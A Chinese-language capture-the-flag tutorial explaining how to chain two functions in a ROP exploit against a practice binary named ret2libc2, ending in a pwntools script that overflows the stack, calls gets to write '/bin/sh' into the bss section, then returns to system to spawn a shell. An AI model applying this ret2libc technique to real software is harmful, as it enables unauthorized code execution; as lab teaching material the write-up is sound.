编写两个函数的ROP链

学会了编写单个ROP链,今天就进阶一下,学编写俩个函数的ROP链。通过一道例题我们直接上手

例题:附件下载
首先我们查看保护

IDA反编译发现栈溢出

但是没发现/bin/sh,这是我们就无从下手了,我们要想一个办法创造/bin/sh这个字符串,我们发现题目有gets函数,那么我们能不能通过gets输入/bin/sh这个字符串呢,我们来验证一下
先通过栈溢出把返回地址覆盖为,gets函数,通过我们以前的学习,我们知道,和gets栈向上两个字就是gets的参数,也即是我们输入参数的地址,这点不理解的可以查一下gets这个函数,我们就不展开了。我们再控制gets的返回地址为system,和system的参数我们不就实现了进入shell了吗,payload如下

对于这里的bss段,可以在网上阅读一下相关知识,这样我们是不是就控制了程序进入shell,大家可以仔细揣摩一下,理解了编写脚本就很简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
p = process("./ret2libc2")
elf = ELF("./ret2libc2")
system = elf.plt["system"]
gets = elf.plt["gets"]
cmd = "/bin/sh"
bss_addr = 0x0804A200
p.recvuntil("ret2libc2\n")
payload = "a" * 0x108 + "junk"
payload += p32(gets) + p32(system) + p32(bss_addr) + p32(bss_addr)
p.sendline(payload)
p.sendline(cmd)
p.interactive()